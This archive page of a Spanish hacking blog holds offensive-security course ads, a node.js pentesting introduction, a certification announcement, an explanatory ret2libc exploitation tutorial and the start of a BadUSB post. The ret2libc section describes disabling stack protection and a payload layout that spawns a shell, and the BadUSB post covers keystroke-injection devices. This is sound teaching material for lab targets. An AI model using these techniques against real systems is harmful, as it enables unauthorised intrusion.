Archivo

Archive for the ‘Hacking’ Category

Oferta de formación en Securízame sobre hacking ofensivo (Red Team)

febrero 19, 2018 Deja un comentario

Seguramente algunos de vosotros habéis visto en medios tales como Twitter o Telegram, que en Securízame se están elaborando una serie de ofertas formativas muy interesantes, que están pensadas no solamente a que podáis obtener unos conocimientos sólidos en seguridad informática sino que además, tengáis la posibilidad de demostrarlo mediante un certificado acreditativo, como es el caso de la certificación recientemente lanzada en Securízame llamada IRCP (hace unos días os contábamos algunos detalles al respecto). No obstante, no solamente se ha pensado en el lado puramente defensivo del hacking, para aquellos que también nos gusta la parte ofensiva y el entender cómo se compone un vector de ataque contra cualquier sistema, se han abierto una serie de convocatorias para cursos completamente prácticos en dichas áreas y yo tengo el enorme placer de ser la persona encargada de llevar a cabo dichas formaciones.

Concretamente tenemos 3 convocatorias abiertas y cada una de ellas se va a impartir en las oficinas de Securízame en Madrid. A continuación os cuento a grandes rasgos qué es lo que haremos en cada una de dichas convocatorias.

Curso básico/intermedio de hacking web y sistemas – 9, 10 y 11 de Marzo:

Se trata de un curso en el vamos a ver algunas de las vulnerabilidades más habituales en entornos web, partiendo de la versión más reciente del OWASP Top 10 que data del año 2017 y con una buena cantidad de casos prácticos para que comprendáis todas y cada una de las vulnerabilidades que se definen en la guía y que adquiráis los conocimientos necesarios para levar a cabo auditorías contra aplicaciones web en entornos reales, como los que os podéis encontrar en una organización de cualquier tipo. Por otro lado, en éste curso también veremos los fundamentos del hacking desde la perspectiva de un atacante, utilizando herramientas de uso común y otras no que no son tan comunes, pero que igualmente tienen una potencia y versatilidad muy interesantes y del mismo modo, en la parte de hacking de sistemas vamos a trabajar con configuraciones (inseguras) aplicadas en routers con el fin de contar con un entorno bastante cercano a la realidad para realizar pruebas de penetración. El objetivo de éste curso es prepararos para asumir retos más complejos y que tengáis una base sólida para que vuestro nivel en temas de seguridad informática y hacking pueda ir subiendo rápidamente. No se trata de un curso “al uso” de los que encontráis en Udemy o gratis en Internet (de hecho, en ocasiones es mejor el contenido gratuito que lo que os encontráis en Udemy). Me he asegurado y le he dedicado varias horas a los contenidos para que no sea un curso en el que aprendáis a lanzar herramientas y ejecutar scripts, NO, lo tengo preparado para que aprendáis cómo funcionan las cosas y podáis tener unos fundamentos sólidos y podáis hacer auditorías de seguridad con o sin herramientas automatizadas, aplicando correctamente cada una de las técnicas más comunes en éste tipo de actividades y permitiéndoos subir de nivel rápidamente.

Enlace con toda la información del curso aquí: https://cursos.securizame.com/courses/curso-presencial-de-pentesting-1-hacking-web-hacking-sistemas-basico/

Curso avanzado de hacking web y sistemas – 6, 7 y 8 de Abril:

En éste curso vamos a ir mucho más allá de lo que normalmente nos encontramos en las pruebas de penetración en entornos web, analizaremos en detalle otros tipos de vulnerabilidades que no sólo no se encuentran en el OWASP Top 10, sino que además, combinadas con varias técnicas y/u otras vulnerabilidades se puede comprometer el servidor web y conseguir la tan apreciada ejecución remota de instrucciones en el servidor. En éste curso también veremos técnicas avanzadas que se suelen aplicar en una campaña de hacking contra un sistema. Veremos cosas como la posibilidad de crear conexiones cifradas entre víctima y atacante para proteger el canal de comunicación y hacer que sea un poco más difícil de identificar qué actividades está llevando a cabo un atacante, así como también la posibilidad de crear puertas traseras persistentes utilizando mecanismos poco convencionales (vamos un poco más allá de lo que Frameworks como MSF nos ofrece) y como no, veremos en detalle la posibilidad de llevar a cabo técnicas de pivoting y port-fowarding, enlanzando varias redes con diferentes niveles de profundidad (usando cada máquina comprometida para saltar a segmentos de red internos/ocultos de cara al atacante), también veremos algunas cosillas chulas sobre malware y evasión de AVs. Estás son solamente algunas de las cosas que veremos en éste curso y que estoy seguro que no quedaréis decepcionados.

Enlace con toda la información del curso aquí: https://cursos.securizame.com/courses/curso-presencial-de-pentesting-2-hacking-web-hacking-sistemas-avanzado/

Entrenamiento de Hacking – 18, 19, 20 de Mayo:

Se trata de una propuesta distinta a los planes de formación a los que estamos acostumbrados, en realidad no se trata de un curso, tal como su nombre indica es un entrenamiento intensivo de un fin de semana entero, en donde cada participante debe enfrentarse a un reto propuesto, un sistema que tiene una serie de vulnerabilidades que pueden ser explotadas remota y localmente. La dinámica del entrenamiento es simple, proponemos un reto, un sistema que se encuentra en una red controlada, los participantes intentan ganar acceso, elevar privilegios sobre dicha máquina y luego extraer toda la información que puedan, después de un tiempo prudencial se procede a explicar la solución dicho reto, enseñando “en vivo” cómo se puede comprometer el sistema en cuestión y explicando las técnicas utilizadas. Este mismo ciclo lo repetimos durante todo el fin de semana y al finalizar, ya habremos explotado más de 20 sistemas vulnerables con diferentes niveles de dificultad.
Se trata de un formato de formación novedoso que a día de hoy no lo vais a encontrar en ningún otro centro de formación destinado a la seguridad informática y el hacking (al menos no que yo sepa). En el año 2017 hicimos 2 convocatorias en Securízame de éste entrenamiento y hemos conseguido un lleno total, rápidamente se agotaron todas las plazas y ésta primera convocatoria del año 2018 va por el mismo camino, aunque mi objetivo a nivel personal no es simplemente cubrir todas las plazas, me resultan mucho más gratificantes los comentarios de las personas que han participado en las ediciones anteriores del entrenamiento y saber que no solamente lo han disfrutado, sino que además les ha parecido intenso e instructivo, ver las muestras de agradecimiento y satisfacción de las personas que han confiado en ti, en algo a lo que le has dedicado innumerables horas y en algunos casos noches enteras, que has diseñado y pulido con esfuerzo y sacrificio constante, no tiene precio.
Para la primera edición de éste año tenemos máquinas nuevas que no se han visto en las 2 ediciones del año 2017, con lo cual podéis estar seguros que si habéis participado en alguna de las anteriores, en ésta nueva edición del 2018 lo vais a pasar igual de bien con retos nuevos con los que os vais a pegar un buen rato y con los que seguro vais a aprender un montón de cosas por el camino.

Enlace con toda la información del entrenamiento aquí: https://cursos.securizame.com/courses/entrenamiento-practico-presencial-de-pentesting-hacking-web-y-de-sistemas/

Esto es todo de momento, espero que os animéis y veros en las oficinas en Securízame, pensad que se trata de una inversión para vuestro futuro profesional y una buena oportunidad para que os cuente algunas cosas que sólo se aprenden “pegándote” con ellas y que no encuentras en la mayoría de cursos disponibles sobre hacking, además, si tenéis la posibilidad, también podéis adquirir el pack completo que incluye ambos cursos más el entrenamiento, tenéis toda la información disponible en el siguiente enlace: https://cursos.securizame.com/courses/pack-curso-presencial-hacking-web-y-de-sistemas-basico-avanzado/

Como siempre, si tenéis cualquier pregunta, podéis contactarme directamente por éste medio, Twitter o Telegram, suelo contestar bastante rápido 🙂

Un saludo y Happy Hack!
Adastra.

Pentesting contra aplicaciones en node.js – Parte 1.

febrero 13, 2018 Deja un comentario

En los últimos años nos encontramos con que las aplicaciones desarrolladas en node.js son cada vez más comunes en entornos empresariales y en Internet, lo que inicialmente se construyo como un prototipo para probar el funcionamiento de un modelo “event-loop” hoy en día se ha convertido en un lenguaje bastante popular que se ha hecho un hueco en el competitivo y controvertido mundo de las herramientas, lenguajes y plataformas para el desarrollo de aplicaciones. Node.js plantea una forma distinta de desarrollar plataformas web y por supuesto, también provee los medios necesarios para construir aquellos componentes de software que son comunes en otros lenguajes de programación, sin embargo, como cualquier otro lenguaje de programación, tiene sus limitaciones y en algunos casos es posible que no sea la mejor alternativa. Cuando queremos desarrollar algo, lo más importante y que nunca hay que perder de vista, es que las características funcionales de una aplicación pueden llevar más o menos tiempo dependiendo de cada lenguaje de programación y así como puede suponer más o menos esfuerzo, también es importante valorar el impacto de optar por un lenguaje de programación de cara al desempeño, la escalabilidad y por supuesto, la seguridad.

En este sentido y por lo que he podido ver cuando hablo con algunos desarrolladores de node.js que he conocido, estas premisas se olvidan completamente y se piensa que node.js “vale para todo”, aunque para ser justos, lo mismo me he encontrado con programadores de Java, Python, .Net, etc, etc, etc. Como diría Van Russom, cada lenguaje tiene su propio “Zen” y es importante conocerlo para saber si es la alternativa más adecuada para un problema concreto. Dicho esto, merece la pena recordar el modo de funcionamiento de node.js y el motivo por el cual es considerado un framework flexible, escalable y con buenos niveles de rendimiento, así como también, los motivos por los que no es una buena idea utilizarlo “para todo”.

Las principales características de Node.js son las siguientes:

– OpenSource, independiente de plataforma.

– Desarrollado sobre CJR v8 (Chrome JavaScript Runtime).

– Diseñado para ser rápido y escalable.

– Permite la ejecución de Javascript en el backend.

– El contexto de ejecución de CJR v8 es completamente diferente al contexto del navegador, dado que se ejecuta en el lado del servidor.

– Liviano y eficiente.

Por otro lado, utiliza un modelo de funcionamiento asíncrono basado en eventos y en la ejecución de funciones de “callback”. Se trata de un framework que ha sido pensado para ejecutar operaciones sobre un único hilo de ejecución, por este motivo nos encontramos con que el principal objetivo de node.js con su modelo “single-thread” es el de mejorar el desempeño y escalabilidad de aplicaciones web, ya no tenemos el modelo “one thread per requests” utilizado en las aplicaciones web tradicionales que se despliegan en servidores web como Apache, Ngnix, IIS, entre otros, estamos ante un modelo completamente distinto, enfocado al desarrollo de aplicaciones escalables, asíncronas y con un bajo consumo de recursos debido a que ahora, sobre el proceso servidor ya no se hace un “fork” para atender las peticiones de los clientes en procesos independientes, algo que es habitual en servidores web Apache.

Modelo “Event-loop model” vs “thread per requests”.

Un modelo “Event-Loop” es ideal para aplicaciones en donde la velocidad de respuesta de las peticiones es más importante que las operaciones I/O. p.e: Un proxy inverso/transparente. También, este modelo es remendable cuando se trata de aplicaciones web con un backend ligero, el cual realiza las operaciones de negocio de forma rápida y eficiente. Esto es importante ya que si el backend no cumple con este requerimiento se pueden producir cuellos de botella y afectar el rendimiento general de la aplicación. Un modelo “thread per requests” es más adecuado para procesamientos intensivos con con un número bajo de procesos concurrentes. p.e. Aplicaciones cuyas funciones realizan múltiples operaciones de negocio, conexiones a bases de datos u otros sistemas remotos, así como transacciones complejas que requieren tiempo de procesamiento. Dicho esto, dependiendo del tipo de aplicación un modelo puede ser más recomendable que el otro y en el caso de las aplicaciones node.js que utilizan el modelo “event-loop” es importante que el backend se encuentre lo más fino posible y que todas las operaciones de negocio se realicen de la forma más rápida posible. En el caso de aplicaciones desarrolladas con node.js es común encontrarnos con que es necesario desarrollar el componente “servidor”, típicamente utilizando el modulo “express” en entornos de desarrollo, además de la lógica propiamente dicha de la aplicación.

Dado que todo se ejecuta desde un único hilo de ejecución, la gestión inadecuada de excepciones puede interrumpir por completo el normal funcionamiento del servidor y por este motivo es recomendable tener rutinas de chequeo que se encarguen de verificar en todo momento el correcto funcionamiento del servidor y la disponibilidad del proceso en el sistema.
Como se puede apreciar, es necesario pensar de una forma diferente cuando se trata de aplicaciones que siguen el modelo que implementa node.js y ante todo, tener muy claro que como cualquier otra herramienta o tecnología, sirve para resolver un problema concreto y debe evitarse su uso siguiendo únicamente el criterio “de la moda”, es decir, utilizar node.js porque es lo que se lleva hoy en día. Como cualquier lenguaje de programación, tiene su propia filosofía, su propio “Zen” y es recomendable conocer sus características más relevantes de cada lenguaje con el fin de utilizar la tecnología adecuada para resolver un problema concreto.

OWASP Top 10 y Node.js

Node.js es una tecnología para el mundo web, para el mundo del “http”, por éste motivo todas las amenazas descritas en el OWASP Top 10 aplican igualmente a las aplicaciones basadas en node.js. Nos encontramos con los mismos problemas que afectan a las aplicaciones escritas en los lenguajes más utilizados/tradicionales en Internet como PHP, JSP/JSF/J2EE, ASP.NET, ColdFusion, etc, etc. Desde problemas típicos de Inyección (SQLi, LDAPi, XSS, etc) hasta problemas de fugas de información o ejecución remota de código. No obstante, en el caso de Node.js existen algunas amenazas adicionales que no están incluidas en el OWASP Top 10 y suelen ser bastante comunes en aplicaciones de éste tipo. A continuación se enumeran rápidamente algunas de ellas.

Global Namespace Pollution

Se trata de un problema que tiene relación directa con la calidad del código y buenas prácticas de desarrollo. Tal como se ha explicado anteriormente, el componente “servidor” en una aplicación en Node.js debe ser desarrollado utilizando alguno de los módulos disponibles en el lenguaje, siendo “express” el más común. Dado que se trata de una tarea que deben realizar los desarrolladores, en ocasiones en éste componente “servidor” se incluyen variables y rutinas de código que tienen relación directa con el funcionamiento de la aplicación. Hay que tener en cuenta que cuando se definen éste tipo de elementos (variables o funciones) en el componente servidor de la aplicación node.js, se convierten en elementos globales de toda la aplicación, es decir, que los valores almacenados en las variables y el resultado de la ejecución de las funciones en dicho contexto afecta a todos los usuarios de la aplicación. Por ejemplo, si en el componente servidor se almacena crea una variable de cualquier tipo, el valor de dicha variable puede ser alterado por cualquier cliente de la aplicación y dicha modificación va a ser visible por el resto de clientes que intenten acceder a dicho valor. En la mayoría de lenguajes de programación nos encontramos con 3 contextos para el almacenamiento de valores entre peticiones HTTP, dichos contextos serían “request”, “session” y “application”, siendo éste último el más amplio de todos y el que más se asemeja a los “Global Namespaces” en Node.js

HTTP Parameter Pollution

En la mayoría de plataformas web existen mecanismos estándar para controlar la forma en la que se procesarán los parámetros duplicados (servidorweb/pagina?id=20&id=10&id=pepe&id=abcde), en algunos casos el lenguaje se quedará con el valor de la primera ocurrencia del parámetro o con el último, en algunos casos está característica es incluso configurable, sin embargo en el caso de node.js no se excluye ningún parámetro y si un parámetro se repite varias veces en la misma petición, cuando se intente recuperar el valor del parámetro en cuestión desde la aplicación, node.js se encargará de devolver un “array” con cada una de las ocurrencias del parámetro en cuestión. Esta es una característica del lenguaje y hay que tener en cuenta, ya que casi siempre cuando se desarrolla una aplicación web, se espera recibir un parámetro con un tipo de dato concreto (típicamente una cadena) pero dado que node.js se encarga de envolver todas las ocurrencias de un mismo parámetro en un array, el comportamiento de la aplicación puede ser muy diferente al esperado y en la mayoría de casos se puede producir una excepción no controlada, que tal como se ha mencionado anteriormente, puede generar una condición de denegación de servicio en el servicio.

Uso inseguro de funciones que permiten inyección de código.

Como en muchos otros lenguajes de programación, en node.js existen funciones que permiten la validación de tipos de datos concretos, no hay que olvidar que node.js es un lenguaje de scripting no tipado, lo que significa que, a diferencia de otros lenguajes de programación con tipado fuerte, el tipo de una variable es implícito al valor que se le asigna. Esto quiere decir que si se le asigna una cadena a una variable, el tipo de dicha variable será “str” y si más adelante durante la ejecución del programa, se le asigna una valor entero, el tipo de dato de dicha variable será desde ese momento un “int”. La función “eval” es precisamente una de las funciones más conocidas y utilizadas en node.js para validar tipos de datos en variables e instrucciones de código, lo que significa que la función “eval” lo que hace por debajo es ejecutar las instrucciones enviadas por parámetro de la función, lo que en algunos casos puede producir problemas de inyección de código arbitrario si los valores enviados a “eval” provienen de una petición por parte del cliente y no se validan correctamente. Esta es solamente una de las posibilidades a la hora de inyectar código en una aplicación node.js, sin embargo como se verá en otro post de ésta serie, existen varias formas de hacer lo mismo y en todos los casos, son producidas por malas prácticas de desarrollo o simplemente por desconocimiento.

Regex DoS

El uso de las expresiones regulares es bastante habitual a la hora de validar patrones y se utilizan
con bastante frecuencia a la hora de comprobar los valores ingresados por un usuario en formularios web. Por ejemplo, se pueden utilizar expresiones regulares para validar un correo electrónico, un DNI, número de teléfono o cualquier otro campo que siga un patrón fijo. Aunque se trata de elementos muy potentes, se caracterizan por ser de alto consumo en términos de recursos y tiempo de procesamiento y pueden ser especialmente perjudiciales para el correcto funcionamiento de una aplicación cuando las expresiones aplicadas no se encuentran bien definidas. Es posible que dichas expresiones funcionen correctamente, pero debido a la forma en la que se encuentran declaradas consuman más tiempo y recursos de lo que deberían. En el caso de node.js y especialmente en cualquier plataforma que siga el modelo “event-loop” con un único proceso asociado al servidor, es posible encontrarse con un cuello de botella considerable, lo que al final termina por provocar una condición de denegación de servicio.

NodeGoat de OWASP para pentesting contra node.js

Ahora que se ha explicado a grandes rasgos las principales vulnerabilidades que pueden afectar a una aplicación escrita en node.js, es el momento de llevar todo ésto a la práctica y qué mejor forma de hacerlo que por medio de una aplicación web vulnerable por diseño. Del mismo modo que existen aplicaciones de éste tipo para lenguajes como Java, PHP, .Net, entre otros, en el caso de node.js existe el proyecto NodeGoat de OWASP, el cual se encuentra disponible en el siguiente repositorio de github: https://github.com/OWASP/NodeGoat

Su instalación es muy simple, basta con descargar el proyecto del repositorio con “git clone https://github.com/OWASP/NodeGoat” y posteriormente realizar la instalación de todos módulos necesarios para que la aplicación pueda arrancar. Dichos módulos se instalan rápidamente con el comando “npm install”. Evidentemente es necesario tener node.js instalado en el sistema, en el caso de sistemas basados en Debian, es tan sencillo como ejecutar el comando “apt-get install nodejs”. Una vez instalados todos los módulos de la aplicación, es necesario configurar la base de datos MongoDB, que tal como se indica en el README del proyecto, es posible tirar de una instancia de MongoDB en local o crear una cuenta en MongoLab (https://mlab.com/) y crear una base de datos en dicho servicio, el cual puede tiene un plan gratuito que más que suficiente para trabajar con NodeGoat. Es necesario editar el fichero “<NODEGOAT_DIR/config/env/development.js” y establecer la ruta de conexión con la base de datos que se ha creado en MongoLab o la instancia que se encuentra en ejecución en local, según sea el caso. Antes de iniciar la aplicación, se debe ejecutar el comando “npm run db:seed” para crear toda la estructura de de colecciones en la base de datos, la cual evidentemente es utilizada por NodeGoat. Finalmente, el comando “npm start” se debe ejecutar desde el directorio de NodeGoat y con esto, la aplicación estará preparada para ser utilizada en el puerto 4000. Para poder iniciar sesión en la aplicación, los usuarios se encuentran disponibles en la colección “users” de la base de datos y también se pueden ver en el fichero “README” del proyecto.

Esto ha sido una breve introducción al funcionamiento de node.js y algunos de los problemas de seguridad que se pueden dar por el uso inadecuado de ésta tecnología. En los próximos post se explicará mucho más en detalle y con ejemplos prácticos aquellas cuestiones a tener en cuenta a la hora de hacer un pentest contra aplicaciones web desarrolladas en node.js

Un saludo y happy hack!
Adastra.

IRCP: la primera certificación de ciberseguridad práctica especializada en Respuesta ante Incidentes y Análisis Forense Digital

enero 25, 2018 Deja un comentario

IRCP ha sido desarrollada por una empresa de seguridad española y mide conocimientos reales de respuesta ante incidentes de seguridad, aplicados en un entorno 100% práctico. Así es la primera certificación publicada por Securízame, compañía fundada por Lorenzo Martínez Rodríguez, ingeniero informático de profesión reconocido en el sector de la ciberseguridad por sus conferencias especializadas en peritaje informático forense y respuesta ante incidentes de seguridad.
Dirigida a profesionales del sector de ciberseguridad que presten servicios de respuesta ante incidentes, personal de departamentos de seguridad y sistemas de cualquier organización, peritos informáticos, miembros de CSIRTs, CERTs y Cuerpos y Fuerzas de Seguridad del Estado entre otros colectivos, IRCP irrumpe con fuerza desde principios de 2018.

Sobre las certificaciones de seguridad actuales

La mayoría de las certificaciones de ciberseguridad actuales obligan en su preparación a memorizar toneladas de información, devorando libros y manuales, para culminar con un test que decidirá, mediante la evaluación de conocimientos sobre papel, si quien se presenta es o no merecedor de dicho título. Inevitablemente, una vez el candidato termina el examen olvidará los detalles de la información memorizada. Cierto es que hay certificaciones, generalmente relacionadas con hacking ético,
que sí son 100% prácticas y prueban conocimientos reales de quien se presenta al examen. El problema es que al hacerse de manera online, y sin vigilancia alguna,
tampoco permiten garantizar la certeza de que quien ha superado las pruebas, sea el titular final del certificado.

IRCP: Incident Response Certified Professional

Con la finalidad de poder cubrir las carencias anteriores, así como mejorar los sistemas de certificación actuales, Securízame ha implementado su propia metodología práctica de evaluación. Para poder medir conocimientos y habilidades reales del candidato, éste se enfrentará durante 8 horas ininterrumpidas a un entorno de red típico en una empresa, en el que se ha producido un incidente de seguridad. El objetivo es que, en el tiempo disponible, el alumno analice y resuelva el caso, culminando con la redacción de dos informes, uno técnico y otro ejecutivo, que aporten suficiente luz sobre qué sucedió, quién o quiénes lo hicieron, y cómo se sucedieron los hechos.
El contenido de dicho informe, así como la metodología y razonamiento desarrollados por el alumno, y la limpieza de las acciones efectuadas para la investigación sobre el entorno utilizado, serán los factores principales que tres evaluadores puntuarán independientemente. Así, Securízame certificará que el candidato es un  profesional técnicamente solvente a la hora de enfrentarse al esfuerzo técnico y presión de un incidente de seguridad real.
La ejecución de la prueba se lleva a cabo presencialmente en las instalaciones de Securízame en Madrid, garantizando la identidad de cada candidato, bajo condiciones de vigilancia y silencio que permitan al candidato la concentración necesaria.
Para llevar a cabo la preparación del examen de certificación, Securízame ofrece un plan de formación presencial, tanto mediante cursos teórico-prácticos como a
través de entrenamientos tutelados 100% prácticos. En estos últimos el candidato puede comprobar, aprender y mejorar sus conocimientos de Respuesta ante Incidentes y Análisis Forense en un entorno empresarial comprometido.

Se puede consultar más información sobre la certificación, convocatorias y plan de formación recomendado en https://certificaciones.securizame.com/ircp o a través del correo electrónico contacto@securizame.com

No dudes en ponerte en contacto si deseas recibir más información, se trata de una certificación de alta calidad que merece mucho la pena si tu objetivo es aprender y contar con una certificación que realmente respalde tus conocimientos.

 

Evadiendo no-exec stacks con técnicas ret2libc

septiembre 14, 2017 1 comentario

Desde aquellos días en los que comenzaron a aparecer las primeras vulnerabilidades en programas ejecutables, que típicamente se aprovechaban de un desbordamiento de memoria, se han implementado varios mecanismos de defensa que impiden que los programas vulnerables y potencialmente peligrosos para el sistema puedan ser una amenaza, obviamente la fuente del problema siempre se encuentra fallos de diseño e implementación, una situación difícil de controlar. En el caso de los sistemas más populares hoy en día, existen varias características interesantes que impiden que un programa que presenta condiciones de Stack o Heap overflow puedan “campar a sus anchas”, así nos encontramos con cosas como Stack Cookies o Canaries, DEP, ASLR, etc. Son mecanismos muy potentes que añaden un nivel de complejidad considerable al proceso de explotación, ya que ahora el atacante no solamente se debe preocupar por detectar y explotar vulnerabilidades, sino también de evadir esos mecanismos de protección que no le permiten montar en el sistema atacado su propia “fiesta”. Aún así, existen técnicas que el atacante puede llevar a cabo para saltarse esas medidas de protección y conseguir sus objetivos.

En éste artículo vamos a hablar de una técnica muy interesante que se puede aplicar sobre un programa vulnerable ejecutándose en un sistema GNU/Linux y que debido a su simplicidad y efectividad, la convierte en una técnica muy potente ante aquellos programas que implementan el “No-Exec”, es decir, que marcan la Stack como un espacio de sólo lectura sin la posibilidad de que el procesador interprete los bytes que podemos insertar en ella como instrucciones ejecutables. Hablamos del archiconocido “ret2libc”.

El origen del mal.

El origen de prácticamente todas las vulnerabilidades tiene su base en una mala implementación, errores en diseño y programación que le permiten a un atacante hacer de las suyas. Esto la mayoría de las veces sucede simplemente por descuidos o desconocimiento del programador, aunque también a veces, aunque el programador conoce las consecuencias negativas de cara a la seguridad de ciertas prácticas de desarrollo, por desidia/pereza, simplemente decide ignorarlas y quedarse con la típica frase de: “En mi local funciona”.

Como decía antes, estas cosas son difíciles de controlar, a menos claro, que a ese programador perezoso lo mandes a Corea del Norte a servir al amado “lidel”, en ese caso seguro que se espabila y revisa 20 veces cada una de las líneas de código de su programa.

Ahora bien, como comentaba anteriormente, las Stacks “No exec” impiden que algunas áreas de la memoria (Stack o Heap) puedan ser interpretadas por el procesador como secciones con instrucciones ejecutables. Dado que no se puede inyectar o ejecutar código malicioso en el programa, aunque sea vulnerable, el atacante debe sobrepasar esta barrera antes de poder continuar y para ello puede utilizar la técnica de “ret2libc” o Return To Libc.

Antes de explicar en qué consiste, vamos a partir de un programa vulnerable, el cual contiene el siguiente código:

Explotando el programa con No-Exec habilitado

Es fácil darse cuenta que el programa anterior, además de ser muy simple no realiza ningún tipo de verificación sobre los limites del buffer

En un sistema GNU/Linux, el programa anterior se puede compilar con GCC de la siguiente manera.

gcc -ggdb -fno-stack-protector -o programa programa.c

Por defecto, los programas compilados en la mayoría de versiones del GCC generan un binario con la característica “no-exec” habilitada, lo que significa que si encontramos una vulnerabilidad en el programa y seguimos el procedimiento clásico de sobreescribir el EIP para que realice un salto hacia la stack, lugar en donde tendremos nuestro shellcode, el resultado será una violación de acceso.

Dicho lo anterior, vamos a comenzar a inspeccionar el programa y analizar su comportamiento ante un desbordamiento de pila.

En primer lugar, se carga el programa con el depurador (GDB) y se establece un punto de interrupción en la dirección de memoria en donde se realiza una invocación a la función “tevasacorea”.

El segundo y último punto de interrupción se establece en la instrucción “ret”, justo al final de la función “tevasacorea” para poder ver el contenido de la Stack antes de que se produzca el desbordamiento.

Como se puede apreciar en la última imagen, se ejecuta un programa externo al depurador y en dicho programa, simplemente se crea una entrada de 512 caracteres (concretamente, 512 As). Se pasa por ambos breakpoints y antes de retornar de la función “tevasacorea”, se consulta el estado de la Stack que tal como se puede apreciar, ha quedado en la posición perfecta para sobreescribir el valor del registro EIP con una dirección de memoria arbitraria. Esto significa simplemente, que se debe ejecutar el programa con una entrada que contenga 512 caracteres más una dirección de retorno arbitraria que nos permita manipular el programa y llegados a éste punto, comenzamos a hablar de Ret2Libc.

Aplicando la técnica Ret2Libc para eludir el “No-Exec”

Esta técnica recibe el nombre de Ret2Libc por dos motivos, el primero de ellos es que se basa en el hecho de que en la dirección de retorno de cualquier cualquier función, se puede establecer una dirección de memoria arbitraria que puede hacer parte del programa o de los objetos compartidos y librerías que son necesarias para el correcto funcionamiento del programa, lo que significa que en el caso de no poder utilizar la Stack para nuestro propósito, siempre se puede intentar invocar a otros espacios de memoria o instrucciones ejecutables ubicadas en otra librería. Por otro lado, la librería Libc es muy habitual en programas que se ejecutan sobre sistemas GNU/Linux y en la mayoría de los casos se trata de una dependencia obligatoria, por éste motivo es posible buscar funciones interesantes en dicha librería que nos puedan resultar útiles en el proceso de explotación del programa. Las funciones que se utilizarán en este ejemplo son “system” y “exit”, la primera recibe una cadena como primer argumento, la cual representa un programa a ejecutar y la segunda, permite finalizar un proceso limpiamente. Ambas funciones se pueden concatenar en la cadena de invocaciones gracias a la técnica “ret2libc”, únicamente hay que tener en cuenta que es necesario obtener las direcciones de memoria de cada una de las funciones a invocar y posteriormente, meterlas en la stack en el mismo orden en el que se desea invocarlas. Por último, pero no menos importante, se debe tener en cuenta el tipo de vulnerabilidad que se está explotando, por ejemplo, en el caso de que la vulnerabilidad se base en el overflow de un buffer de cadenas (con el ejemplo del programa anterior con la función strcpy), se debe evitar a toda costa utilizar direcciones de memoria que contengan “null terminators” (\x00) ya que esto haría que se corte el payload y no sea posible obtener los resultados deseados.

Dicho lo anterior, es el momento de buscar las direcciones de memoria correspondientes a las funciones “system” y “exit”.

Como se puede apreciar de la imagen anterior, simplemente con el comando “print” y la función deseada, se puede obtener información sobre la librería y dirección de memoria donde se encuentra cargada dicha función.

Ahora bien, el siguiente paso consiste en especificar el parámetro adecuado a la función “system” con una cadena como “/bin/bash” sería suficiente, pero hay un pequeño problema y es que dicho parámetro no lo espera la función como una cadena simple, espera la referencia de una dirección de memoria que apunta a una cadena de texto con el nombre del binario a ejecutar, lo que se conoce coloquialmente en programación en C/C++ como un puntero. Por lo tanto, simplemente hay que buscar una dirección de memoria que apunte a una cadena que tenga el programa deseado. Afortunadamente, en las variables de entorno existen varias entradas que contienen valores de configuración y entre otras cosas, suele haber una variable llamada “SHELL” que define el programa que preferiblemente se debe de lanzar cuando se invoque a una shell en el sistema. Ahora, cómo se consigue acceso a las variables de entorno del sistema desde un programa en ejecución? La respuesta es simple, gracias a la Stack. Como seguramente ya sabreis, la Stack de un programa no solamente almacena parámetros y las variables locales correspondientes a cada Stack Frame o función invocada en un programa, también incluye todas las variables de entorno que hay en el sistema por si alguno de los Stack Frames del programa necesita acceder a cualquiera de dichas variables. Con esto en mente, basta simplemente con inspeccionar la Stack para obtener la dirección exacta donde se encuentra la variable de entorno “SHELL”.

Tal como se puede ver en el programa anterior, después de buscar los contenidos de la Stack con un comando como “x/5000s $exp” desde el depurador, se puede encontrar la variable de entorno SHELL y una dirección de memoria que puede ser útil para enviar como primer argumento de la función “system”.

Ahora que ya se cuenta con todo lo necesario para aplicar la técnica de Ret2Libc, es el momento de componer el payload que tendrá los siguientes valores:

“A”*512 + Dirección de memoria system + Dirección de memoria exit + Dirección de memoria del programa a ejecutar por system.

Por último, a diferencia de los valores que normalmente se suelen encontrar en tráfico de red, cuando se habla de programas y direcciones de memoria, se utiliza el formato “little endian”, por lo tanto es necesario establecer cada dirección de memoria en sentido inverso.

Después de lanzar nuevamente el programa con el payload adecuado, utilizando la técnica ret2libc, se puede apreciar que se ha conseguido ejecutar el programa “/bin/bash” y ahora se cuenta con una consola plenamente funcional, solamente ha bastado con indicar las direcciones de memoria adecuadas y concatenar cada una de las invocaciones con sus correspondientes parámetros. Una técnica que puede ser sencilla de implementar y muy potente, os animo a que lo probéis.

Un saludo y Happy Hack.

Adastra.

Vuelve el patito low cost, ahora grazna como un USB Rubber Ducky original

septiembre 5, 2017 16 comentarios

Sobre los autores: Ernesto Sánchez (@ernesto_xload) y Joel Serna (@JoelSernaMoreno) son consultores en seguridad informática que han participado en eventos como: Navaja Negra, MorterueloCON y Eastmadhack.

 

 

Buenos días a todos!

Hace un tiempo, os contábamos como hacer un dispositivo BadUSB por alrededor de 1 euro, lo podéis leer aquí , en él, a efectos prácticos, explicábamos como montar un dispositivo similar a un USB Rubber Ducky, en el sentido de que se comporta como un teclado automático y pre-programado para hacer unas funciones concretas, pero puede quedarse algo corto en algunas ocasiones, sobre todo por el limitado almacenamiento y memoria ram de su microcontrolador ATTINY85: 8KB de flash y 512 bytes de ram.

Como no podía ser de otra forma, hemos estado pensando es éste asunto y ofreceros algo más funcional y, sobre todo, más fácil de utilizar. Una de las opciones deseables que nos parecia mas útil, era que se pudiesen utilizar directamente scripts del USB Rubber Ducky sin tenerlos que adaptar de ninguna forma, debido a su amplia expansión, conocimientos y ejemplos que existen en internet.

Como mencionamos en el artículo anterior, y aunque sea repetirlo, un BadUSB es un dispositivo USB con apariencia de otro dispositivo distinto (para confundir al usuario normalmente) que al conectarlo a cualquier ordenador realiza “otras cosas”, en el caso mas general emula un teclado que de forma automática “teclea” lo que le hayamos programado a gran velocidad sin que el usuario se percate, normalmente, de lo realizado.

Cuando hablamos de BadUSB, así en general, se cubren muchos dispositivos , desde algunos hackeados a tal efecto como los pendrives con el controlador Phison 2251-03 (2303), los dispositivos de desarrollo genérico como Teensy (en cualquiera de sus variantes) o Arduino Leonardo / Micro o dispositivos específicos orientados a auditorias de seguridad como el Phoenix Ovipositor o el USB Ruber Ducky, siendo éste último el mas famoso entre la comunidad hacker (entiéndase siempre en el buen sentido de la palabra, para más información sobre la comunidad hacker visitar este link).

